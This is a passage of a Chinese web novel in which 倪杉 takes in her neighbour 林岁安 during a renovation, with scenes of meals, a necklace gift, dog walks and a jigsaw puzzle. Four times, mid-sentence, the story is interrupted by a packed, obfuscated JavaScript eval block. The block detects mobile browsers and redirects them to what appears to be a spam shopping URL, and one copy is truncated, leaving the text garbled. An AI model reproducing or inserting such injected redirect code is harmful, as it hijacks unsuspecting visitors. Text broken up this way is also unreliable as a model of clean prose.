又一阵风吹来,倪杉关上窗户,打开手机手电筒下楼去,打算出去看看。 她穿了一件鹅黄色的长裙,披了件衬衫,站在小院门口,按了门铃。 “谁啊,这么晚了,怎么还来按门铃。走错了吧。”林岁安从睡袋里坐起身,拉开帐篷,探出一个脑袋往外看去。 倪杉站在院门口一脸震惊地说: “你在这儿干什么呢?” “我正打算睡在帐篷里。”林岁安回答说。她拿着遥控器对着门口滴了一下,院门自动开启。 倪杉走进来,围着她的帐篷转了一圈:“你要在院子里露营吗。” “我家要装修了,我这段时间都要住在院子里。” “那怎么行。”那样的话就真跟个小野人一样了。 草地上湿漉漉的,倪杉穿着拖鞋在这里站了没多久,就感觉脚上和小腿上蹭了露水,凉凉的。 她又弯腰去看了眼帐篷,林岁安抱膝坐在里面,旁边还有大黄。 她一头白发,好像一只刚化作人形的小狐狸,看得倪杉心软软。 天气很闷热,蚊虫很多,倪杉拍死一只落在手背上的蚊子,对林岁安说: “你家要装修多久?” “一个月。” “一个月?” 倪杉都被这小孩儿给气笑了:“那这一个月你是都打算睡在帐篷里吗?” 亏我之前还夸你聪明呢,现在我要收回这番话。 林岁安点点头,这是双人帐篷,空间很大,还可以再躺一个人,于是她跟倪杉说: “如果你也想睡帐篷,可以进来体验一下。” “我每天都有洗澡,很干净的。”见倪杉不接话,她补充道。 “你没有住的地方,为什么不来问问我。”倪杉皱着眉头不悦地说。 她还以为之前和林岁安吃了两顿饭,又聊了那么多有的没的,两人之间已经算得上是朋友了。没想到小孩儿根本不这么想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299306|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不想麻烦你。” 林岁安也考虑过要不要找倪杉求助,可是她说不出口。她在线上盯着聊天框看了很久,又把编辑好的文字一点点删除。 “那我现在知道了,这马上就要下雨了,你带着狗来我家吧。我家那么多空房间,我借一间给你。” 倪杉已经想好了,还是二楼那间书房,给林岁安住刚刚好。 “快点,听话,马上要下雨了。” “我这帐篷是防雨的。”林岁安坐在帐篷里嘴硬地说。 “我说一二三,你跟我回去。”倪杉说完,眼睁睁看着林岁安躺回了睡袋里。 这死小孩儿。 “快点。” 见林岁安还是一动不动躺在帐篷里,倪杉生气了。 她头也不回地往家走去,年纪大了真的不能随意生气,她觉得自己的乳腺都开始疼了。 幸亏这不是我女儿,不然我已经被气死几百次了。 林岁安就这么安然地躺在帐篷里,听着倪杉离去的脚步,淡淡地闭上了眼睛。 没过一会儿,脚步声又向她慢慢靠近,她睁开眼,又见到了回来的倪杉: “hello,你好。”她跟倪杉打招呼。又是你,我们又见面了。 “你确定不跟我回去吗?”倪杉没心情和她开玩笑。已经开始下起了小雨,倪杉的头发上落了细细密密的雨珠。 “那大黄跟我回去吧,大黄,过来。” 大黄经常吃倪杉家的罐头和冻干,因此和倪杉很熟。它摇着尾巴上前,一边回头看着林岁安。 倪杉叉着腰站在帐篷前,她还就不信了,她今天就非要把这个死小孩儿带回家。 两人就这样僵持着,僵持到后面,林岁安有些不好意思起来。她把脸埋在枕头里,不去看倪杉。 事情是这样的,最开始把杆儿立在这里的时候,她就应该要顺杆儿爬,然而她错误地拒绝了倪杉,现在再改主意就变得更难了。 倪杉蹲在帐篷前,等了许久,见林岁安还是没有动,她于是抱着大黄站起身,忽然间眼前一黑。 林岁安听到响声和大黄的叫声,连忙从帐篷里滚出来,就看到倪杉软软地倒在草地上。 啊啊啊啊啊啊! 丸辣! 最担心的事情还是发生了:我该不会是把姐姐给活活气死了吧! 她着急忙慌地抱起倪杉,拖家带口地就往倪杉家里跑。由于太过慌乱,她把家门密码输错了两次,还不小心在进门的时候让倪杉磕到了脑袋。 倪杉心里苦啊,她从小就是装晕的一把好手。小时候为了逃避练功,经常在太阳下练着练着就晕了,当时为了让自己演技逼真,她都是硬生生倒在硬质的水泥地上。 只有曾沐一眼就看出她在装晕,每次在倪杉晕倒时,曾沐都伸手护住她的脑袋,怕她没轻没重把自己弄伤。 现在长大了,倪杉知道心疼和爱护自己了,她特意倒在了草地上,减轻伤害,结果没想到被林岁安暗算,后脑磕在门框上,疼得她差点就当场醒来大声问候林岁安的全家。 林岁安听见怀里的人轻哼了一声,这才安心下来。 她把倪杉抱到沙发上,小声对她说:“对不起啊,我还以为我把你气死了。” 26. 姐姐非要让我住她家 雨夜,在明亮的房子里,倪杉像个女王一样躺在沙发上,等着林岁安给她上菜。 林岁安正在厨房给她做红酒炖牛肉,还给她焖了米饭。这个菜原本要配面包,可惜倪杉家的面包已经过期了。 倪杉给她的理由是:晚上玩儿拼图玩儿得忘乎所以,完全忘记了吃饭,所以才会晕倒。 倪杉说自己吃得太少了,跟修仙似的,为了省事,每天就吃一顿饭。林岁安一听那可不得了,赶紧戴着围裙去厨房,主动提出要给她做晚餐来,想要以此缓解今晚的尴尬。 她很后悔,很懊恼,为自己没有及时顺杆儿爬。 她也不知道自己当时在僵持什么,大概是觉得很没面子,所以选择了死要面子,这样做的后果就是更加没有面子。 她背对着倪杉,能感受到倪杉的目光正在盯着自己,视线所及之处都觉得麻麻的。 家里满是炖肉的香味,一猪和大黄都趴在林岁安脚边,试图获得一点上帝的馈赠。 刚刚在湿漉漉的草地里滚了一圈,倪杉上楼去换了一件干净的睡裙,她下楼看到林岁安光着脚,又去给她找了一双拖鞋。 这拖鞋是之前从酒店拿的一次性拖鞋。 在穿之前,林岁安又叛逆地跑出去,回到小院儿把她那个破帐篷收起来,安放回小仓库里去。 这个帐篷是她前几天在二手平台上收来的,特意为了这些天的小院露营而准备,结果白收了。 等她忙完这些破事儿跑回来,红酒牛肉就炖好了,她关了火,盛出两碗菜端上餐桌。 倪杉和她面对面坐下,迫不及待地动了筷子。 林岁安做饭很像那么回事,至少看上去让人很有食欲,原本过了晚上八点倪杉是不会再吃东西的,这个习惯也算是坚持了很多年,却还是被打破了。 她一边吃,一边趁机教育林岁安: “今天,你的这种行为特别幼稚,你知道吧。” “你自己有好好反思吗。” 林岁安点点头。 餐桌顶上的光照下来,她整个人看上去显得毛茸茸的,更像一只小白狐狸了。 “你都反思什么了?”倪杉问她。 “我不听姐姐话,特别幼稚。” “你怎么想的。告诉我,你是一个什么?” “我是一个……粉刷匠?”林岁安忍不住唱道。 “………你是一个女孩子。女孩子就这样睡在院子里的帐篷里,万一遇到不怀好意的人怎么办。” “你有考虑过自己的安全吗。” 倪杉越说越来气,林岁安一声不吭,抱着碗猛猛吃饭。 这种情况就不要顶嘴,就老老实实认错,事情很快就过去了。 “你不是挺会说的吗,怎么突然变内向了,哑巴了?” “姐。食不言,寝不语。”林岁安好心教育她。吃饭的时候说话很没规矩。 倪杉被气得又用手抚了抚自己的心脏。 窗外的雨声越来越大,倪杉一边生气,一边庆幸,幸好自己多往窗外看了一眼,把这个死小孩骗回了家,不然可就糟了,这小孩要在雨里过夜了。 每到这种天气,倪杉就会担心在外流浪的猫猫狗狗。可能是自己也养狗的原因,她这些年变得特别见不得小动物受苦。 下这么大的雨能找到地方躲雨吗?好心人给的食物被雨淋湿之后怎么办?该去哪里找吃的呢? 倪杉一边吃着饭,一边在心里叹气。 “对了,你家那几只小猫咪呢。”倪杉忽然觉得好像少了些什么。 “暂时送到我朋友家了。” “不过我朋友家也有很多猫,目前我的猫只能被关在笼子里,没办法散养。” 没办法,特殊情况,只能先将就一下。 秦筝每天给那几只猫喂药,手法狠戾又专业,林岁安很放心。 倪杉先一步离开餐桌,碗里的牛肉她只吃了一小半。 她悠闲坐在沙发旁拆快递,最近在家买了不少东西,她一边拆,一边把垃圾递给林岁安。 一猪有翻垃圾桶的习惯,因此倪杉家没有垃圾桶,所有垃圾都是整理在袋子里很快就扔出去。 她从盒子里拆出一颗圆溜溜的虎眼石锁骨项链,拿在手里把玩,在灯下检查了一下,没什么问题,然后撩起头发来给自己戴上。 “这个好漂亮。”林岁安站在一旁一手拿着垃圾一手捧着碗说道。 “漂亮吧,才几十块。”物超所值。 “很像树脂咖啡豆。” 客厅的桌子上就放着一台镜子,倪杉对着镜子照了照,觉得这颗珠子对自己而言有些大了。 她更喜欢精致秀气一点,要是小一号的珠子就好了。 见林岁安坐在餐桌前目不转睛一直盯着看,倪杉问她:“你喜欢啊。” 林岁安点点头。 这颗虎眼石直接美到她的心巴上了,她好喜欢。 “喜欢就送你了。” “没多少钱,收下吧。” “不要说不要。” 倪杉今晚已经听过太多不要了,不愿再听到任何拒绝的声音。 她还是觉得林岁安不如桑桑听话,林岁安总是在否定她。 她把项链摘下来,放进林岁安的手心。 林岁安意外的安静,什么也没说,竟然就这样配合地收下了。 她把这颗珠子拿起,用手指轻轻揉搓,感受它的触感。 倪杉意外地看了她一眼,起身离开了客厅。 等倪杉从洗手间出来,林岁安已经把客厅的垃圾处理干净,独自坐在蒲团上,拿着珠子看了又看。 倪杉走上去,很自然地拿回项链,打开锁扣,帮林岁安戴上:“别动。戴上看看好不好看。” “这种饰品就是需要试戴才能看出效果的,有时候光看样式觉得好看,实际上戴上之后效果未必好看。” 林岁安一动不动,乖乖配合着。 倪杉的长发垂落,滑过她的脸颊,清香扑鼻这个姿势太近,林岁安浑身僵硬地闭上了眼睛。 “你好像中了麻醉针。”倪杉扣了半天才帮她把项链的锁扣卡住,手腕不小心碰到她的后颈,硬的好像人已经走了有一段时间了。 我不太能接受和人挨得太近。 我也不能接受有人和我肢体接触。 林岁安在心里默默说。 她睁开眼睛,看到倪杉把镜子举到她面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299307|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“很漂亮哎,很适合你。” “其实我上周刚过了生日。”林岁安说。不知为什么,她突然想把这个很私人的事情分享给她。 “真的吗,好巧啊,正好,就当是给你的生日礼物了。”倪杉没有太惊讶。 “谢谢。” “别谢,你少气我一点比什么都强。” 倪杉忽然凑近,看看她的耳朵: “你有耳洞吗?” 她的呼吸扑面而来,林岁安的耳朵瞬间红了。 “这个款式的虎眼石我记得还有配套的耳钉,如果你有耳洞,可以买一套配齐。” 倪杉终于找到了林岁安耳垂上的耳洞,她伸手轻轻捏了一下。 就这么一个简单的动作,林岁安整个人都麻了,她条件反射地一把握住倪杉的手腕,愣了几秒,推开了她的手,又迅速松开了她。 倪杉忽然意识到,这小孩儿好像不太愿意让人碰。 你和我小时候有点像。 我小时候也不喜欢被人捏脸、摸手,也不喜欢有人碰我的头发。 她看着耳朵红红的林岁安,想了想,终究什么也没说。 林岁安用客卫的浴室洗了澡。 客卫的浴室里有一个小浴缸,林岁安给浴缸放满水,研究了一下,小心翼翼地坐进去,两条长腿搭在边缘外侧,把沐浴露挤在手心,沾水轻轻一拍,飞起一连串泡泡。 倪杉拿着一套新睡衣路过浴室门口,听到里面传来歌声: 曲调有点耳熟,她站在门口又听了一会儿,终于意识到小孩儿在唱几年前很流行的日语歌:藤井风的《不如死去》。 …………怎么,来我家住就这么沮丧?不如死去? 倪杉敲敲门,愉快的歌声戛然而止。 “浴巾和睡衣给你放门口了,你自己取,我先睡了。” 小孩儿不出声,倪杉也不再等她,快步回到卧室。 林岁安洗完澡出来,先去厨房收拾了盘子和碗筷。倪杉家有洗碗机,林岁安用湿抹布把餐桌和灶台清理干净。 家里很安静,两只小狗都睡了。一猪在二楼跟妈妈睡,大黄还是喜欢睡在一楼门口的地垫上,田园犬看家护院的本能刻在基因里。 收拾好东西,林岁安来到二楼书房,书房的地板上铺着一个瑜伽垫,上面放着一个枕头和一张毯子,林岁安躺上去感受了一下,觉得还不错。 有地板就是好啊,可以随心所欲躺在上面。 她这次才注意到,倪杉家的书房贴了壁纸,是很淡很淡的绿色植物花纹。 林岁安站起身,打算去关灯,忽然看见桌子上有一套巨大的拼图。 厉害了我的姐,自己一个人在家竟然偷偷做这种事。 她看了眼参考图,这幅拼图拼好之后,画面是下着雪的小镇,小镇里的商店亮着温暖的光,街上车流涌动,人来人往。 由于图案比较复杂,细节很多,因此很难拼。 不知道倪杉拼了多久,只拼好了边缘处的一小排,而且还有几片是拼错的。 林岁安把她拼错的部分拆下来,这么大的拼图,林岁安也是第一次拼,很有挑战。她从万千碎片里找到正确的那一块,拼在边缘处。 27. 是的我看见到处是阳光 林岁安第二天早上醒得太早,她把倪杉家的大门打开,先放大黄出门去玩儿,一边洗漱一边思考要不要主动去遛一猪。 倪杉的卧室门虚掩着,里面一点声音都没有。 林岁安按动门把手,门开了。 一猪开心地迎出来,和林岁安在门口又亲又蹭。林岁安一边撸狗,一边往房间里看去:窗帘紧闭,一点也不透光,空调开得很冷,床上的人紧紧盖着被子,一点动静都没有,看样子是没打算醒来。 “hello,姐姐?”林岁安小小声在门口说。 “我先……带一猪去遛弯了?你继续睡?” 床上的人翻了个身,发出一声嘤咛。 林岁安给一猪戴好狗绳,带着小家伙出门去。一猪虽然形态上很大只,但实际上在心态上却是个小宝宝,有什么事情第一反应就是躲在林岁安身后,寻求她的保护。 八点左右,装修工人到达林岁安家。刷墙的工作昨天已经进行了一部分,在秦筝的极力劝说下,林岁安最终还是约了全屋刷墙,没有只刷客厅和卧室。 洗手间比较麻烦,墙壁上要贴砖,厨房也要改装,林岁安在门口给工人开了门,发现大黄还是习惯性地回到了自己家的院子里。她又重新跟大黄讲了一遍现在的情况: “我们现在要暂时住在一猪妈妈家,所以别再回错家了。” 盛夏草木繁茂,一场雨后,林岁安家的小院儿里还出现了路过的小蜗牛。 “走吧,我们回去,看看一猪妈妈醒了没。” 倪杉正在赖床,她正躺在床上玩手机。 她三心二意地同时读着好几本小说,看完这个看那个,看完那个等更新,忙碌得很。 一猪已经从外面玩儿回来了,身上有一股户外的青草香。它很喜欢跟林岁安出去遛遛,林岁安每次都带它玩够一小时,很尽兴。 不像倪杉遛狗总是很糊弄很敷衍,原本是要在小区走两圈,最近变成了一圈,等一猪解决完个狗问题就马上回家。 “姐姐,你要起床吗,我做了早餐。”林岁安站在门口问她。她原本是想等倪杉起床,却发现倪杉似乎并不打算起来,在床上躺得很安详。 “起。” 话虽这么说,倪杉却依旧是一动不动地躺在床上。 林岁安站在卧室门口等了几分钟,欠揍地说道:“你现在这样和我昨晚特别像。” 赖皮地躺在帐篷里死活不肯起来。 “我?才不像。”倪杉一气之下从床上坐起来了。 她的一头长发睡得有些乱,就这么穿着拖鞋,摇摇晃晃去洗漱。 等倪杉洗漱完毕敷完面膜下楼,已经四十分钟过去了。 林岁安做了最简单的吐司煎蛋,实在等不到倪杉下楼来,她已经趁热把自己那份吃掉了。 倪杉靠着楼梯扶手问她:“昨晚睡得好吗?” 那个瑜伽垫睡起来舒服吗? “挺好。” “那就好,总比你睡帐篷强吧。” 倪杉走下楼梯,直奔厨房岛台上的咖啡机。 “姐,我来,我帮你。你想喝什么?”林岁安起身凑上前去,她以前在咖啡馆做过短期工,对于咖啡机和磨豆机的使用都很熟悉。 “冰拿铁。你想喝的话给自己也做一杯吧。” 把事情交给小孩儿,倪杉坐在餐桌前发呆。 家里多了一人一狗,和往常相比好像更有生气。 “你那些小猫咪,要不要接到我家来?” “为什么?” “热闹一点也挺好的,而且我本来一直都想养猫,想体验一下铲屎官的乐趣。” “你认真的吗?我看你家的沙发地毯还有窗帘都很新,把猫猫带进来可能会对家具造成损害,还会掉毛。” “没事,大不了换新的。”倪杉无所谓的摇摇头,换窗帘和换沙发难道不是一件值得开心的事吗。 谁想每年都用同一张沙发和地毯,摆在家里看都看腻了。 “那些小猫这么长时间一直要寄养在别的地方,你应该也不放心吧。” 林岁安没有答应,这个事情她还需要考虑下。 原本自己和大黄住在倪杉家已经很给人家添麻烦了,再来一群猫猫,她实在是不好意思。 她于是换了个话题: “姐,我建议你把大门的密码改一下,现在这个密码太简单太基础了,很不安全,别人随手一试就开了。” “换了以后我自己也记不住啊。” “你换成你生日。”林岁安建议道。这样只有和你很熟的人才能打开你的家门。 倪杉喝着冰咖啡,听着林岁安在门口鼓捣了半天电子锁:“姐,快来,可以输入新密码了。” 倪杉也走到门口,思来想去,输入了几个数字。 她没用自己的生日,而是输入了曾沐的生日,白色情人节。 这下安全了,倪杉想:我可能是世界上唯一一个记得曾沐真实生日的人。 曾沐的经纪公司当初给她做了假的艺人身份信息,从年龄到身高以及生日全都是虚假的,只有极少数人知道曾沐真实的生日。 曾沐离开之后,知道的人就更少了。 “新密码你看到了吗?”倪杉失神片刻,感受到小孩儿正在看着自己,她回过神来问道。 “看到了,但不确定看到的对不对。”小孩儿说。 “等下我在微信上再发你一遍。” 倪杉说完就往家走去,而林岁安关上门后自己试了一次新密码,确定更新成功后向着外面走去。 倪杉看见小孩儿就这么水灵灵地走了,连忙跑回门口,打开门问道: “你要去哪儿啊?” “回家,盯一下装修情况。”我去对面看看。 林岁安站在路中央,左手是自己家,右手是倪杉家。这么热的天,她穿着长衣长裤站在阳光下,悠闲地伸了个懒腰。 这个动作让她的纤细的手腕和腰腹露出来,看似瘦弱,实际上非常有力气,能轻松抱起一只大胖狗。 “要不要我陪你?”倪杉问她。装修是个很大的事,需要有大人在。 “为什么?”林岁安问她。 “我怕人家看你是个小孩儿,可能在一些项目上会坑你。” 倪杉这房子当初租好之后是桑桑和装修团队对接的,倪杉几乎没怎么操心,装修好之后通风了两个月,她直接拎包入住。 但在那段时间,她有听到桑桑抱怨过好多次,合作的装修团队坐地起价,经常动不动就讹人。可能是看桑桑是个小女孩好欺负,明明价格早就在合同里说好了,最后却又加了一大笔人工费。 倪杉当初急着搬家,懒得计较这些琐事,但总归是心里不太痛快。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299308|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用,姐,我都25了。不对,26,已经不年轻了。” 林岁安看着倪杉,连忙摇摇头: “你去了人家才真的会坑我。” “什么意思?” “你一看就是那种人傻钱多特别好骗的有钱人,你往我家一站,我感觉工人马上就要坐地起价了。” “胡说!这简直就是危言耸听!”倪杉啪地一下把门关上。 “你不让我去,我偏要去。”我倒要看看谁敢坑我! “你别去。” “我就去。” “你别去。” “我就去。” “你真别去。” “我非要去。” “………你………这么大个人了能不能成熟一点,不要这么意气用事。” “你有本事拦住我啊。” 倪杉说着就气势汹汹往对面的房子走去。从小院里能看到林岁安家的房子里有人在梯子上忙碌,她从林岁安身边经过,就被林岁安一把抱住。 林岁安在装修团队面前一直表现出自己很是贫穷(事实也确实如此),要是让倪杉进去,她觉得自己会被做局,因此她一鼓作气抱起倪杉,打算把倪杉送回家去。 很显然,倪杉被小孩儿抱得猝不及防,她伸手扶住林岁安的肩,防止自己掉下去,这还不够,她又用小腿夹住林岁安的腰腹,给自己双重保障。 昨晚林岁安也抱着她回家,当时她是在装晕,因此一切都是那么自然,没有觉得尴尬,等睁开眼时人已经躺在沙发上了。 现在她很是清醒,光天化日,她被一个小孩儿当成小孩儿一样抱着在小区里走动,多少有点不好意思。 倪杉低下头,试图挣扎了两下:“你放我下来。” “那你答应别去我家。” “……………”好憋屈。 “不说话?不说话我就一直抱着你,咱俩就这样僵持着。” 眼看就要到家,林岁安说着就抱着倪杉换了个方向,大步往前走去。 “哎哎,你要去哪儿。”倪杉着急地问她。 “去小区外面。” “不行,我还穿着睡衣拖鞋。” “那你回家就回家,不许去我家。” “好,我答应你,不去你家。”倪杉不得不妥协:“你可以放我下来吗。” “那咱们说话,落地之后,你不会突然如脱缰的野马般跑到我家去,对着装修工人一通指指点点吧。” “不会。我只是不想被你抱着,我想自己走。” 被抱着这件事让倪杉很没安全感。 你不知道这个人会不会突然松手,让你在毫无防备的情况下狠狠摔在地上。 她曾经在剧组就出过类似的事情,当时和她演一场晕倒的戏,和她对戏的男演员嫌她太重,一直在说好沉好重,能不能注意一下身材管理。 那位男演员咖位很大,很火,对于和倪杉这样没名气的女演员搭戏很不满意,因此在剧组从没给过她好脸色。 倪杉没想到他会松手,她被摔在地上,疼得叫出了声,对方马上过来拉起她,还和她道歉,在那么多人的注视下,她也只能说:不好意思我真的不知道自己这么重,这次回去我可一定要减肥了。 这么一说,林岁安也觉得很不合适。她把倪杉放下,两人一左一右分别往各自的房子走去。 28. 满心都是世俗的欲望 下午五点,装修工人下班离开,林岁安去小区不远处的市集买了些蔬菜和水果。 超市离这里比较远,她打算明后天开车去一趟。 倪杉独自躺在家里的沙发上看小说,她发现大量阅读后的感受是觉得自己好像什么也没读,每个字她都看了,合上书后又觉得自己好像什么都看,什么也没记住,什么感受都说不出。 下午去到书房,她发现林岁安昨天晚上把拼图拼起了几块。 这么大一套拼图,拼一年都拼不完。 她从二楼窗户往对面看去,刚好看到林岁安叫了两个工人搬着她家的公园同款长椅往自己家的院子里走来。 倪杉的院子很空,即使放了两张长椅也还是有很大空间,她默许了林岁安的安排。 这两张长椅本身就该放在户外,再配个小桌,就可以在天气好的时候坐在院子里吃烧烤、看月亮。 或许因为这套房子是倪杉租的,作为租客,她对这些闲置空间没有那么大的占有欲和控制欲。 没过多久,倪杉听到开门的声音。 一猪先一步冲下楼去,迎接林岁安。 林岁安在门口换上拖鞋,抱着一猪腻歪了一会儿,冲着二楼喊道: “姐姐,我买菜回来了。” 倪杉刚好从二楼快步走下来,她一边下楼,一边听到林岁安说: “因为上午你已经吃过brunch了,所以没有午餐,直接跳到晚饭。” “那两个长椅……”倪杉刚要说这件事,林岁安马上和她解释: “我家墙上刷漆,工人说这椅子最好还是搬出去,有点碍事。我暂时先在你家院子里放一下可以吗。真的很不好意思,没经过你的同意就先放下了,你要是觉得不合适,我马上搬走。” 林岁安家的院子里铺了草坪,草坪长势很好,她舍不得这两张长椅把草压坏。 “你就放着吧,没事。”倪杉并不介意,她不是那种事儿事儿的人,相比这个,她更关心晚上吃什么。 “你买了什么菜?” “小青菜,西红柿,晚上煮面怎么样?” “好啊。”倪杉特别好说话,她基本吃什么都行。 林岁安不在的时候,她解决晚饭的方式就是怎么简单怎么来:拌个沙拉,几片牛肉,外加两个水煮蛋。 林岁安去厨房洗菜,天还没黑,倪杉就迫不及待地把家里的大灯打开。 倪杉也走进厨房,从冰箱冷藏室里取出两支奶酪棒,招呼大黄和一猪来吃。大黄确实是一直很像猫的狗,很开心很害羞地摇着尾巴,保持距离,等着倪杉投喂。 “你这衣服是不是蹭了乳胶漆?”倪杉看见小孩儿背后蹭了一抹淡绿。 怎么会是淡绿?她要把房子刷成淡绿色吗。好大胆的年轻人。 “哪里?”林岁安问她。 “后背这里。” 倪杉指给她看,又想到她根本看不到: “大热天的穿个长袖干什么,装什么酷,脱下来。” “我没有,穿长袖很让人有安全感好吧。”林岁安轻松躲过倪杉的手,没让她抓住自己的衣服。 “你去换个T恤或者吊带背心。” “不去。” 林岁安和倪杉隔着厨房岛台对视,互不相让,林岁安说: “姐姐,我发现你控制欲还是挺强的。” 连我穿什么衣服你都要管。 “怎么会?我人淡如水,没有一点世俗的欲望。” 我不是,我没有。 倪杉自认为自己是个淡人,每次在采访中她也是这么给自己贴标签的:不争不抢,一切随缘。 “那你想喝咖啡吗,想吃冰激凌吗,想买衣服买高跟吗?想看书看电影吃漂亮饭吗。” 林岁安像是在敲木鱼似的用筷子敲着手里的碗: “想就是欲望。” “你还想让我脱衣服,你最好别太想。” 在二十多岁的时候,倪杉一直很坚定地想要在未来拥有一个女儿。香香软软,可爱霸气,有个性有思想。 但今天被林岁安这么一气,她突然就不想要女儿了。 林岁安真的很会气人,倪杉上次这么生气还是上午被林岁安在大马路上抱起来,下午就又被气了一次,都不带隔夜的。 倪杉深深呼吸,转身去沙发上坐着冷静一下。 太气人了。 林岁安脸上挂着得逞的笑容,起锅烧水,准备煮面。 她买了麻辣火锅底料当作汤底,又在锅里放了鱼丸蟹棒牛肉卷,锅开了之后,家里飘着一股浓郁的香辣味。 等再一抬头,倪杉就已经从沙发上瞬移到了餐桌前的椅子上,坐等开饭了。 没办法。这叫什么,美食计?太诱人了。满心满脑都是世俗的欲望:想吃。 “我这是麻辣火锅面,不是一般的面。” 倪杉不接话,她还在生气。 林岁安给她把面端上桌,又给她拿了筷子,两人面对面坐着,碗里的面很丰盛,有肉有配菜。 倪杉摸摸碗,还很烫,要晾一晾。 “姐姐,既然我带大黄住在你家,我就肯定不能白住。”林岁安把头发梳成一个小马尾,又去冰箱拿了两听气泡果酒。 “干什么?你要交房租啊。”倪杉冷笑了一声。 “不是。钱的话是没有的。”命有九条,我把我的命给你。(净给点没人要的东西 那你还主动提着一茬。 倪杉不想在吃饭前再被气一次,因此不是很想和她说话。 “但是我可以承担一些家务,在住进来的期间,我做饭,我买菜,我遛狗,你看可以吗。” 林岁安心里清楚,一个人的生活成本和两个人的生活成本差了很多,家里的水电费还有家居用品消耗都会增加。姐姐不和她计较,不代表她自己心里没有数。 “太可以了,你提到的这几点都是我的刚需。” 倪杉趁机提议道: “还有一点,你这段时间能帮我去跑腿取快递吗,我刚好买了不少东西,懒得自己去取。” “OK。”小孩儿爽快地答应了。 饭后,林岁安又出了门。 她去面包车里取了一些常用的生活用品:拖鞋,浴巾,一些换洗的衣服,以及几本书。 她抱着东西回到倪杉家,把这些东西安置在书房。 倪杉洗好澡吹完头发出来,下意识想往书房走。 她每天都喜欢在睡觉之前坐在书房的飘窗上看小说、玩手机,飘窗被她布置得很舒服,铺了很厚的毯子和靠枕。 现在书房已经借给了小孩儿住,她不能随意进去,谁知道小孩儿一个人在里面干什么见不得人的事,因此她及时调转方向,往自己的卧室走去。 倪杉往一楼看去,大黄的狗窝和狗盆就放在家里一进门的地方。田园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299309|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犬很是可靠,和一猪完全不同。 推开卧室门,果然,一猪正翻着肚皮在床上等她,求摸摸。 倪杉走过去打开床头灯,扑上去和她的小狗进行睡前打闹。 倪杉的卧室台灯很特别,是一颗暖黄色的梨子,照明效果一言难尽,但情绪价值却很高,倪杉怎么看都很喜欢。 她盯着雪白色的墙壁映出的影子,不经意间就想起了林岁安衣服后面蹭的那抹淡绿。 林岁安用一楼的浴室洗了澡。 换回了自己的沐浴露和洗发水,她觉得自在多了。 因为最近正在考虑装修,她在浴室观察着墙壁上的瓷砖。倪杉家的装修就是最简约最基础的设计,没有费什么心思,当初是由桑桑一手操办的,唯一的要求就是尽快装好,材料对人和小狗安全友好。 林岁安给自己的浴室选了蓝色瓷砖,清澈明亮的溪水蓝。 很贵,没有平替。 便宜的瓷砖是最普通的白瓷砖。 她狠狠心咬咬牙,付了钱,等着定制的瓷砖到货。 倪杉躺在床上,清楚地听见林岁安洗好澡出来,上楼梯,转进书房,没有关门声。 一猪从床上跳下来,要出去找林岁安。 它这两天一直很兴奋,饭后林岁安带它去玩了球,还去蜜雪冰城买了冰激凌。(倪杉太懒了,平日里遛狗走不到两三公里外的蜜雪冰城) 倪杉踩着拖鞋,把一猪放出去,跟着一猪一起去了书房。 她也想看看林岁安在做什么。 书房的门虚掩着,一猪用脑袋轻轻一顶,门就开了。 林岁安正戴着耳机听音乐,她坐在桌前,认真地在玩拼图。 看到倪杉带着狗进来,她眨眨眼,一副你们随意的样子,继续寻找着拼图。 书房只有一把椅子,倪杉绕过地板上的瑜伽垫,坐在了飘窗上。 她习惯性地看了一眼窗外,对面的房子一片漆黑。 她坐在飘窗上发了一会儿呆,看到一猪已经躺在了瑜伽垫上,而林岁安岿然不动地认真看着拼图,好专心,好耐心,头发在灯下微微发光。 “你真要把房子里的墙面刷成淡绿色吗。”倪杉决定打扰她一下。 “是的。淡绿色,也是薄荷绿,我选了好久才找到这个颜色。” 林岁安摘下一只耳机,转头看了她一眼。 “我喜欢淡淡的绿色。” 